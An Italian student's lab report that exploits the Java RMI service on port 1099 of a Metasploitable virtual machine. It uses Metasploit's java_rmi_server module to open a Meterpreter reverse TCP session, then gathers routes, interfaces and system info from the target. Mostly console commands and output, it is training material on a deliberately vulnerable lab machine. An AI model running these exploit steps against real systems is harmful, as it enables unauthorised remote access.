MODULO 4
TEST

Andrea Ferrantino

Traccia: La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:-La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111-La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112-Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

Come prima cosa procediamo con il cambiare l'p di entrambi le macchine (kali,metasploitable)

```
source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback


auto eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

Metasploitable 2 [In esecuzione] - Oracle VM VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

```
 GNU nano 2.0.7          File: /etc/network/interfaces

: This file describes the network interfaces available on your system
: and how to activate them. For more information, see interfaces(5).

: The loopback network interface
uto lo
face lo inet loopback

: The primary network interface
uto eth0
face eth0 inet static
ddress 192.168.11.112
etmask 255.255.255.0
etwork 192.168.11.0
roadcast 192.168.11.255
ateway 192.168.11.1

                          [ Read 16 lines ]
G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
```

CTRL (DESTRA)

Come da traccia sappiamo gia che abbiamo un servizio vulnerabile sulla porta 1099 (java rmi) perciò lanciami il comando”msfconsole”

```
File  Actions  Edit  View  Help

┌──(andrea㉿kali)-[~]
└─$ msfconsole

  .:okOOOkdc'           'cdkOOOko:.
 .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
 :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
 cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
  oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
   lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
    ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
     .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
       ,kOl'M.OOOOOOOOOOOOO.M'dOk,
         :kk;.OOOOOOOOOOOOO.;Ok:
           ;kOOOOOOOOOOOOOOOk:
             ,xOOOOOOOOOOOx,
               .lOOOOOOOl.
                 ,dOd,
                   .

       =[ metasploit v6.3.27-dev                          ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Open an interactive Ruby terminal with
irb
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

cerchiamo il sevizio da noi richiesto come in figura

```
  =[ metasploit v6.3.27-dev                          ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops          ]
+ -- --=[ 9 evasion                                      ]

Metasploit tip: Open an interactive Ruby terminal with
irb
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java rmi

Matching Modules
================

  #  Name                                                  Disclosure Date  Rank    Check  Description
  -  ----                                                  ---------------  ----    -----  -----------
  0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce  2019-05-22   excellent  Yes   Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
  1  exploit/multi/misc/java_jmx_server                    2013-05-22   excellent  Yes   Java JMX Server Insecure Configuration Java Code Execution
  2  auxiliary/scanner/misc/java_jmx_server                2013-05-22   normal     No    Java JMX Server Insecure Endpoint Code Execution Scanner
  3  auxiliary/gather/java_rmi_registry                    normal       No    Java RMI Registry Interfaces Enumeration
  4  exploit/multi/misc/java_rmi_server                    2011-10-15   excellent  Yes   Java RMI Server Insecure Default Configuration Java Code Execution
  5  auxiliary/scanner/misc/java_rmi_server                2011-10-15   normal     No    Java RMI Server Insecure Endpoint Code Execution Scanner
  6  exploit/multi/browser/java_rmi_connection_impl        2010-03-31   excellent  No    Java RMIConnectionImpl Deserialization Privilege Escalation
  7  exploit/multi/browser/java_signed_applet              1997-02-19   excellent  No    Java Signed Applet Social Engineering Code Execution
  8  exploit/multi/http/jenkins_metaprogramming            2019-01-08   excellent  Yes   Jenkins ACL Bypass and Metaprogramming RCE
  9  exploit/linux/misc/jenkins_java_deserialize           2015-11-18   excellent  Yes   Jenkins CLI RMI Java Deserialization Vulnerability
  10 exploit/multi/browser/firefox_xpi_bootstrapped_addon  2007-06-27   excellent  No    Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
  11 exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315  2023-05-26   excellent  Yes   Openfire authentication bypass with RCE plugin
  12 exploit/multi/http/totaljs_cms_widget_exec            2019-08-30   excellent  Yes   Total.js CMS 12 Widget JavaScript Code Injection
  13 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc  2021-09-21   manual     Yes   VMware vCenter vScalation Priv Esc


Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc

msf6 >
```

come da figura notiamo che il servizio che ci serve è il 4 quindi procediamo con il comando “show options”

andiamo a settare l'RHOSTS con l'ip di metasploitable

```
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HTTPDELAY  10             yes       Time that the HTTP Server will wait for the payload request
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    1099             yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------
  LHOST 192.168.11.111   yes       The listen address (an interface may be specified)
  LPORT 4444             yes       The listen port


Exploit target:

  Id  Name
  --  ----
  0   Generic (Java Payload)



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_serve) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_serve) >
```

e procediamo all’exploit.

```
Payload options (java/meterpreter/reverse_tcp):

  Name  Current Setting  Required  Description
  ----  --------------- --------- -----------
  LHOST 192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT 4444            yes       The listen port


Exploit target:

  Id  Name
  --  ----
  0   Generic (Java Payload)



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_serve) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_serve) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/RJ4pIDyHG
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:42146) at 2024-02-26 13:23:44 +0100

meterpreter >
```

Arrivati a questo punto possiamo usuffruire di alcuni comandi per cercare altri informazioni sullla macchina target come in figura:

```
meterpreter > route

IPv4 network routes
===================

  Subnet       Netmask     Gateway Metric Interface
  ------       -------     ------- ------ ---------
  127.0.0.1    255.0.0.0   0.0.0.0
  192.168.11.112 255.255.255.0 0.0.0.0


IPv6 network routes
===================

  Subnet                  Netmask Gateway Metric Interface
  ------                  ------- ------- ------ ---------
  ::1                     ::      ::
  fe80::a00:27ff:fe62:3c6a ::     ::
meterpreter >
```

```
meterpreter > shell
Process 1 created.
Channel 1 created.
mkdir epicode
```

```
040666/rw-rw-rw- 4096    dir  2012-05-14 05:35:33 +0200  bin
040666/rw-rw-rw- 1024    dir  2012-05-14 05:36:28 +0200  boot
040666/rw-rw-rw- 4096    dir  2010-03-16 23:55:51 +0100  cdrom
040666/rw-rw-rw- 13520   dir  2024-02-26 13:10:30 +0100  dev
040666/rw-rw-rw- 4096    dir  2024-02-26 13:25:15 +0100  epicode
040666/rw-rw-rw- 4096    dir  2024-02-26 13:10:35 +0100  etc
040666/rw-rw-rw- 4096    dir  2010-04-16 08:16:02 +0200  home
040666/rw-rw-rw- 4096    dir  2010-03-16 23:57:40 +0100  initrd
100666/rw-rw-rw- 7929183 fil  2012-05-14 05:35:56 +0200  initrd.img
040666/rw-rw-rw- 4096    dir  2012-05-14 05:35:22 +0200  lib
040666/rw-rw-rw- 16384   dir  2010-03-16 23:55:15 +0100  lost+found
040666/rw-rw-rw- 4096    dir  2010-03-16 23:55:52 +0100  media
040666/rw-rw-rw- 4096    dir  2010-04-28 22:16:56 +0200  mnt
100666/rw-rw-rw- 36103   fil  2024-02-26 13:10:56 +0100  nohup.out
040666/rw-rw-rw- 4096    dir  2010-03-16 23:57:39 +0100  opt
040666/rw-rw-rw- 0       dir  2024-02-26 13:10:20 +0100  proc
040666/rw-rw-rw- 4096    dir  2024-02-26 13:10:56 +0100  root
040666/rw-rw-rw- 4096    dir  2012-05-14 03:54:53 +0200  sbin
040666/rw-rw-rw- 4096    dir  2010-03-16 23:57:38 +0100  srv
040666/rw-rw-rw- 0       dir  2024-02-26 13:10:22 +0100  sys
040666/rw-rw-rw- 4096    dir  2024-02-26 13:23:44 +0100  tmp
040666/rw-rw-rw- 4096    dir  2010-04-28 06:06:37 +0200  usr
040666/rw-rw-rw- 4096    dir  2012-05-20 23:30:19 +0200  var
100666/rw-rw-rw- 1987288 fil  2008-04-10 18:55:41 +0200  vmlinuz
```

```
Interface 2
============
Name        : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe62:3c6a
IPv6 Netmask : ::

meterpreter > sysinfo
Computer     : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language : en_US
Meterpreter    : java/linux
meterpreter >
```

```
meterpreter > ifconfig

Interface 1
============
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe62:3c6a
IPv6 Netmask : ::

meterpreter >
```